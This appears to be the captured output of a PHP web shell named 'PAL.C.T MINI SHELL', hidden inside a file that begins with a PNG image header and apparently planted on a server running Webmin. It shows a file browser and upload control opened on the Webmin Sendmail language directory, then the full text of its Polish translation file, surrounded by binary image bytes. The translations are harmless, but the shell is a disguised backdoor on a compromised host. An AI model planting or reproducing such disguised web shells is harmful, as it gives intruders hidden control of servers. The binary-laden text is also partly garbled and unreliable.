php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sendmail/lang/
upload
files >> //usr/libexec/webmin/sendmail/lang/pl.auto

index_version2=Wersja Sendmail $1, konfiguracja $2 
index_xversion=Wersja Sendmail $1 
index_version=Konfiguracja Sendmail $1 
index_sendmail=Wyślij maila

opts_daemon=Opcje portu SMTP
opts_maxbad=Maksymalna liczba złych odbiorców
opts_maxrcpt=Maksymalna liczba adresatów na wiadomość
opts_below=Wprowadzono poniżej ..
opts_qso=Sortuj kolejkę pocztową według
opts_priority=Priorytet
opts_host=Nazwa hosta
opts_time=Otrzymany czas

aliases_enofile=W konfiguracji Sendmail nie zdefiniowano pliku aliasu
aliases_toomany=W systemie jest zbyt wiele aliasów poczty, aby można je było wyświetlić na tej stronie.
aliases_go=Znajdź pasujące aliasy:
aliases_delete=Usuń wybrane aliasy

aform_ecannot=Nie możesz edytować tego aliasu
aform_file=Dodaj do pliku aliasów
aform_cmt=Opis

afile_ewrite=Nie udało się zapisać do pliku adresów : $1 

rfile_desc2=Możesz także ustawić nagłówki wiadomości, które dodają lub zastępują wartości domyślne używane w odpowiedzi automatycznej, wstawiając wiersze takie jak: <br><tt> Od: foo@bar.com </tt><br> <tt>Temat: W wakacje</tt> <br> u góry wiadomości, oddzielone od treści pojedynczym pustym wierszem.
rfile_replies=Śledzić odpowiedzi, aby uniknąć pętli poczty?
rfile_none=Nie
rfile_file=Tak, używając pliku dziennika
rfile_period=Minimalny odstęp między odpowiedziami
rfile_default=Domyślnie (1 godzina)
rfile_secs=sekundy
rfile_ereplies=Brak pliku dziennika śledzenia odpowiedzi
rfile_eperiod=Brakująca lub niepoprawna liczba sekund między odpowiedziami
rfile_no_autoreply=Nie wysyłaj odpowiedzi automatycznych na adres
rfile_no_regexp=Nie wysyłaj automatycznych odpowiedzi na wiadomości pasujące do wyrażeń regularnych
rfile_from=Od: adres do odpowiedzi
rfile_auto=Automatyczny (na podstawie adresu odbiorcy)
rfile_efrom=Brakuje od: adres
rfile_fromdesc=Adres Od: należy zawsze podawać w miarę możliwości, ponieważ metoda automatyczna może nie być wiarygodna.

asave_esame=Możesz utworzyć tylko alias o tej samej nazwie co login do webmina

adelete_err=Nie udało się usunąć aliasów
adelete_enone=Nie wybrano
adelete_ecannot=Nie możesz usunąć aliasu $1 

masq_ndomains=Domeny nie do maskarady

virtusers_efeature=Twoja konfiguracja sendmaila nie ma włączonej funkcji mapowania adresów (<tt>virtuser</tt>). <a href='$1'>Kliknij tutaj</a>, aby skonfigurować funkcje sendmaila.
virtusers_createfile=Lub jeśli ta funkcja została właśnie włączona, <a href='$1'>kliknij tutaj</a>, aby utworzyć plik.
virtusers_cmt=Opis
virtusers_toomany=W systemie jest zbyt wiele mapowań adresów, aby można je było wyświetlić na tej stronie.
virtusers_go=Znajdź pasujące odwzorowania adresów:
virtusers_delete=Usuń wybrane mapowania adresów

vform_cmt=Opis
vform_err_unavailable=Niedostępne
vform_err_tempfail=Tymczasowa awaria
vform_err_protocol=Błąd protokołu

vsave_esame=Możesz tworzyć mapowania adresów tylko dla swojej nazwy użytkownika

vdelete_err=Nie udało się usunąć mapowań adresów
vdelete_ecannot=Nie możesz usunąć mapowania dla $1 

mailers_efeature=Twoja konfiguracja sendmaila nie ma włączonej funkcji routingu domen (<tt>mailertable</tt>). <a href='$1'>Kliknij tutaj</a>, aby skonfigurować funkcje sendmaila.
mailers_desc3=Powinieneś także mieć wpis na liście <a href='$1'>domen przekazywania</a> dla każdej domeny.
mailers_delete=Usuń wybrane trasy domen

mform_host2=Host lub domena
mform_domain2=Wszystkie hosty w domenie
mform_domain3=Domena i wszystkie jej hosty

mdelete_err=Nie udało się usunąć routera domeny
mdelete_ecannot=Nie możesz usunąć trasy dla $1 

generics_efeature=Twoja konfiguracja sendmaila nie ma włączonej funkcji mapowania adresów wychodzących (<tt>generics</tt>). <a href='$1'>Kliknij tutaj</a>, aby skonfigurować funkcje sendmaila.
generics_toomany=W systemie jest zbyt wiele adresów wychodzących, aby można je było wyświetlić na tej stronie.
generics_go=Znajdź pasujące adresy wychodzące:
generics_delete=Usuń wybrane adresy wychodzące

gsave_ecannot3=Nie możesz zapisać tego adresu wychodzącego
gsave_ealready=Mapowanie adresu wychodzącego dla „$1” już istnieje

gdelete_err=Nie udało się usunąć mapowań adresów wychodzących
gdelete_ecannot=Nie możesz usunąć mapowania dla $1 

domains_efeature=Twoja konfiguracja sendmaila nie ma włączonej funkcji mapowania domen (<tt>domaintable</tt>). <a href='$1'>Kliknij tutaj</a>, aby skonfigurować funkcje sendmaila.
domains_delete=Usuń wybrane mapowania domen

dsave_ealready=Mapowanie domen dla „$1” już istnieje

ddelete_err=Nie udało się usunąć mapowań domen
ddelete_ecannot=Nie możesz usunąć mapowania dla $1 

access_efeature=Twoja konfiguracja sendmaila nie ma włączonej funkcji kontroli spamu (<tt>access_db</tt>). <a href='$1'>Kliknij tutaj</a>, aby skonfigurować funkcje sendmaila.
access_toomany=W twoim systemie jest zbyt wiele reguł kontroli spamu, aby można je było wyświetlić na tej stronie.
access_go=Znajdź pasujące reguły kontroli spamu:
access_delete=Usuń wybrane reguły kontroli spamu

sform_tag=Mecz przeciwko
sform_tag_=Wszystko
sform_tag_from=Z adresu
sform_tag_to=Adresować
sform_tag_connect=Informacje o połączeniu
sform_tag_spam=Informacje o spamie

ssave_ealready=Reguła kontroli spamu dla „$1” już istnieje
ssave_ecannot2=Nie możesz zapisać tej reguły kontroli spamu

sdelete_err=Nie udało się usunąć reguł kontroli spamu
sdelete_ecannot=Nie możesz usunąć reguły dla $1 

mailq_count=$1 wiadomości
mailq_cc=DW
mailq_subject=Przedmiot
mailq_dir=Informator
mailq_locked=Nawet jeśli jest zamknięty
mailq_flush=Opróżnij kolejkę poczty
mailq_flushsel=Opróżnij wybrane wiadomości
mailq_flushdesc=Kliknij ten przycisk, aby wymusić natychmiastowe dostarczenie wszystkich wiadomości w kolejce i wyświetlić wyniki.
mailq_flushquar=Opróżnij kolejkę poddaną kwarantannie
mailq_flushquardesc=Kliknij ten przycisk, aby wymusić dostarczanie tylko wiadomości poddanych kwarantannie w kolejce.
mailq_search=Znajdź w kolejce wiadomości gdzie
mailq_quar=Poddany kwarantannie
mailq_refresh=Odśwież kolejkę poczty
mailq_refreshdesc=Załaduj ponownie tę stronę, aby wyświetlić bieżący stan kolejki pocztowej.

flushq_desc2=Wymuszanie próby dostarczenia $1 wybranych wiadomości.
flushq_ecannot=Nie możesz opróżniać kolejki poczty

searchq_title=Wyniki wyszukiwania w kolejce
searchq_none=Nie znaleziono wiadomości w kolejce.

delq_titles=Usuwanie wiadomości
delq_force=Mimo to wymuś usunięcie
delq_ecannot2=nie możesz usunąć tej wiadomości
delq_rusure=Czy na pewno chcesz usunąć $1 wybranych wiadomości w kolejce?
delq_confirm=Usuń wiadomości

boxes_toomany=W systemie jest zbyt wielu użytkowników, aby wyświetlić wszystkie ich skrzynki pocztowe.
boxes_go=Wyświetl pocztę dla użytkownika:

mail_euserexists=Ten użytkownik systemu Unix nie istnieje
mail_forward=Naprzód
mail_move=Przenieś do:
mail_copy=Kopiuj do:
mail_rfc=Z linii
mail_eexists=Wiadomość już nie istnieje!

view_body=Wiadomość tekstowa
view_allheaders=Zobacz wszystkie nagłówki
view_noheaders=Wyświetl podstawowe nagłówki
view_flush=Spłukać
view_print=Wydrukować
view_sub=Dołączony e-mail
view_egone=Ta wiadomość już nie istnieje
view_afile=Nazwa załącznika
view_atype=Typ załącznika
view_aname=Załącznik
view_asize=Rozmiar pliku

enew_title=Edytuj adres e-mail
reply_mailforward=Przekazywane wiadomości
reply_body=Wiadomość tekstowa

send_epath=Plik wykonywalny Sendmail $1 nie istnieje.

delete_title=Usuń pocztę
delete_rusure=Czy na pewno chcesz usunąć $1 wybranych wiadomości z $2 ? W przypadku dużego pliku poczty może to zająć trochę czasu. Do czasu zakończenia usuwania nie należy wykonywać żadnych innych czynności.
delete_rusure2=Czy na pewno chcesz usunąć tę wiadomość z $1 ? W przypadku dużego pliku poczty może to zająć trochę czasu. Do czasu zakończenia usuwania nie należy wykonywać żadnych innych czynności.
delete_ok=Usuń teraz
delete_efnone=Nie wybrano poczty do przekazania
delete_emoveuser=Użytkownik do przeniesienia poczty nie istnieje
delete_emovecannot=Nie możesz przenosić poczty do określonego użytkownika
delete_emovenone=Nie wybrano poczty do przeniesienia
delete_nobutton=Nie kliknięto żadnego przycisku

search_efield=Musisz wybrać typ wyszukiwania.
search_ewhat=Brak tekstu do dopasowania z wprowadzonym dla wiersza $1 
search_enone=Nie wprowadzono kryteriów wyszukiwania
search_results2=$1 wiadomości e-mail pasujących do $2 ..
search_results3=Wiadomości $1 nie pasują do $2 ..
search_results4=$1 wiadomości e-mail pasujących do wyszukiwania.
search_local=W lokalnych folderach
search_all=We wszystkich folderach
search_eboolean=Wyszukiwanie boolowskie przy użyciu „i” oraz „lub” nie są obsługiwane

file_ecannot=Nie możesz edytować tego pliku
file_ealias=Nieprawidłowy format linii pliku aliasów : $1 
file_etab=Nieprawidłowy format wiersza pliku mapy : $1 

acl_ports=Czy można edytować porty sieciowe?
acl_manual=Czy można ręcznie edytować pliki?
acl_flushq=Czy można opróżnić kolejkę poczty?
acl_vcatchall=Czy można tworzyć odwzorowania catchall?
acl_qdoms=Adresy widoczne w kolejce
acl_qdomsmode=Dopasowany adres kolejki
acl_qdomsmode0=Z adresu
acl_qdomsmode1=Adresować
acl_qdomsmode2=Każdy adres
acl_vsame=Począwszy od nazwy użytkownika @
acl_usersm=Użytkownicy pasujący
acl_asame=Taki sam jak nazwa użytkownika
acl_usersu=Z UID w zasięgu
acl_spam=Adresy kontroli spamu, które ten użytkownik może edytować

log_ports=Zmień porty sieciowe
log_movemail=Przeniesiono wiadomości $1 z $2 do $3 
log_feature_create=Dodano pozycję M4 $1 
log_feature_modify=Zmodyfikowany wpis M4 $1 
log_feature_delete=Usunięto wpis M4 $1 
log_feature_move=Przeniesiono wpis M4 $1 
log_build=Odbudowana konfiguracja sendmaila
log_delete_aliases=Usunięto aliasy $1 
log_delete_virtusers=Usunięto mapowania adresów $1 
log_delete_domains=Usunięto mapowania domen $1 
log_delete_accesses=Usunięte wpisy kontroli spamu $1 
log_delete_generics=Usunięto $1 adresów wychodzących
log_delete_mailers=Usunięto trasy $1 domeny

match_status=Statusy pasują
match_headers=Nagłówki pasują
match_=-----------------
match_!from=Od: nie pasuje
match_!subject=Temat: nie pasuje
match_!to=Do: nie pasuje
match_!cc=DW: nie pasuje
match_!date=Data: nie pasuje
match_!status=Status nie pasuje
match_!body=Ciało nie pasuje
match_!size=Rozmiar jest mniejszy niż
match_!headers=Nagłówki się nie zgadzają

features_title=Konfiguracja Sendmail M4
features_desc=Ta strona zawiera odpowiednie wpisy z pliku konfiguracyjnego Sendmail M4 $1, z którego zbudowany jest rzeczywisty plik konfiguracyjny $2.
features_type=Rodzaj wpisu
features_value=Linia w pliku konfiguracyjnym
features_type0=Inny
features_type1=Funkcja
features_type2=Definiować
features_type3=Undefine
features_type4=Mailer
features_type5=Typ systemu operacyjnego
features_add=Dodaj nowy wpis typu:
features_build=Odbuduj konfigurację Sendmaila
features_buildmsg=Kliknij ten przycisk, aby odbudować plik konfiguracyjny Sendmail $1 z pozycji konfiguracji M4 wymienionych powyżej.
features_return=Konfiguracja M4
features_emc=Plik konfiguracyjny Sendmail M4 $2 nie został znaleziony w twoim systemie. Być może nie został zainstalowany (często spotykany w pakietowych instalacjach Sendmaila) lub <a href='$1'>konfiguracja modułu</a> jest nieprawidłowa.
features_efeatures=Katalog podstawowy konfiguracji Sendmail M4 $2 nie został znaleziony w twoim systemie lub jest niepoprawny. Być może nie został zainstalowany (często spotykany w pakietowych instalacjach Sendmaila) lub <a href='$1'>konfiguracja modułu</a> jest nieprawidłowa.
features_econfig=Lokalizacje katalogu podstawowego Sendmail M4 i pliku konfiguracyjnego M4 nie zostały jeszcze ustawione w <a href='$1'>konfiguracji modułu</a>. Jeśli zainstalowałeś Sendmaila ze źródła, powinny one znajdować się w oryginalnym katalogu źródłowym.
features_move=Ruszaj się
features_manual=Edytuj plik ręcznie

feature_add=Dodaj wpis konfiguracji
feature_edit=Edytuj wpis konfiguracji
feature_header=Szczegóły wpisu konfiguracji M4
feature_text=Linia konfiguracji
feature_feat=Funkcja
feature_values=Parametry
feature_def=Nazwa definicji
feature_defval=Wartość
feature_defmode1=Ustawić ..
feature_defmode0=Undefine
feature_mailer=Sposób dostarczenia poczty
feature_ostype=Rodzaj systemu operacyjnego
feature_old=Aktualna linia konfiguracji
feature_err=Nie udało się zapisać wpisu konfiguracji
feature_efeat=Funkcja $1 już istnieje
feature_edef=Definicja $1 już istnieje
feature_emailer=Mailer $1 już istnieje
feature_eostype=Typ systemu operacyjnego jest już zdefiniowany jako $1 
feature_manual=Edytuj plik M4
feature_mdesc=Strona umożliwia ręczną edycję pliku konfiguracyjnego Sendmail M4 $1. Bądź ostrożny, ponieważ nie będziesz sprawdzać składni twoich edycji.

feat_access_db=Plik kontrolny spamu
feat_virtusertable=Mapowanie adresów
feat_mailertable=Routing domen
feat_genericstable=Adresy wychodzące
feat_domaintable=Mapowanie domen

mailer_local=Lokalny Unix

build_title=Odbuduj konfigurację Sendmaila
build_em4=W systemie nie znaleziono polecenia $1 potrzebnego do odbudowania pliku konfiguracyjnego Sendmail.
build_ebuild=Nie udało się zbudować konfiguracji : $1 
build_rusure=Czy na pewno chcesz zastąpić plik konfiguracyjny Sendmail $1 nową wersją zbudowaną z $2 ?
build_rusure2=Pamiętaj, że jeśli dokonałeś zmian w Sendmail na stronie Opcje Sendmail, przebudowanie pliku konfiguracyjnego może zastąpić te zmiany, jeśli nie zostały one również wprowadzone w pliku M4.
build_ok=Tak, wymień go teraz
build_diff=W pliku konfiguracyjnym Sendmail zostaną wprowadzone następujące zmiany ..
build_nodiff=Twój plik konfiguracyjny sendmaila jest już aktualny.

stop_err=Nie udało się zatrzymać sendmaila
stop_ecannot=Nie możesz zatrzymać sendmaila
stop_epid=Wygląda na to, że Sendmail nie działa
restart_epids=Nie można znaleźć procesów sendmaila
restart_ekill=Nie udało się zasygnalizować procesów sendmaila : $1 

start_err=Nie udało się uruchomić sendmaila
start_ecannot=Nie możesz rozpocząć sendmaila

ports_title=Porty sieciowe
ports_name=Nazwa portu
ports_addr=Słuchaj na adres
ports_all=Wszystko
ports_ip=IP
ports_family=Protokół
ports_inet=IPv4
ports_inet6=IPv6
ports_port=Słuchaj na porcie
ports_opts=Opcje portów
ports_mod_a=Wymagaj uwierzytelnienia SMTP
ports_mod_b=Użyj tego samego interfejsu dla wychodzących wiadomości e-mail
ports_mod_c=Dokonaj kanonizacji nazwy hosta
ports_mod_f=Wymagaj pełnej nazwy hosta
ports_mod_h=Użyj nazwy interfejsu dla HELO
ports_mod_C=Nie przeprowadzaj kanonizacji nazwy hosta
ports_mod_E=Nie zezwalaj na ETRN
ports_def1=Zaakceptuj adres e-mail na porcie 25 i wszystkie adresy
ports_def0=Akceptuj wiadomości e-mail tylko na poniższych portach.
ports_err=Nie udało się zapisać portów sieciowych
ports_ecannot=Nie możesz zarządzać portami sieciowymi
ports_ename=Niepoprawna nazwa portu w wierszu $1 
ports_eclash=Zduplikowana nazwa portu w wierszu $1 
ports_eaddress=Brakujący lub nieprawidłowy adres IP w wierszu $1 
ports_eport=Brakujący lub nieprawidłowy numer portu w wierszu $1 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`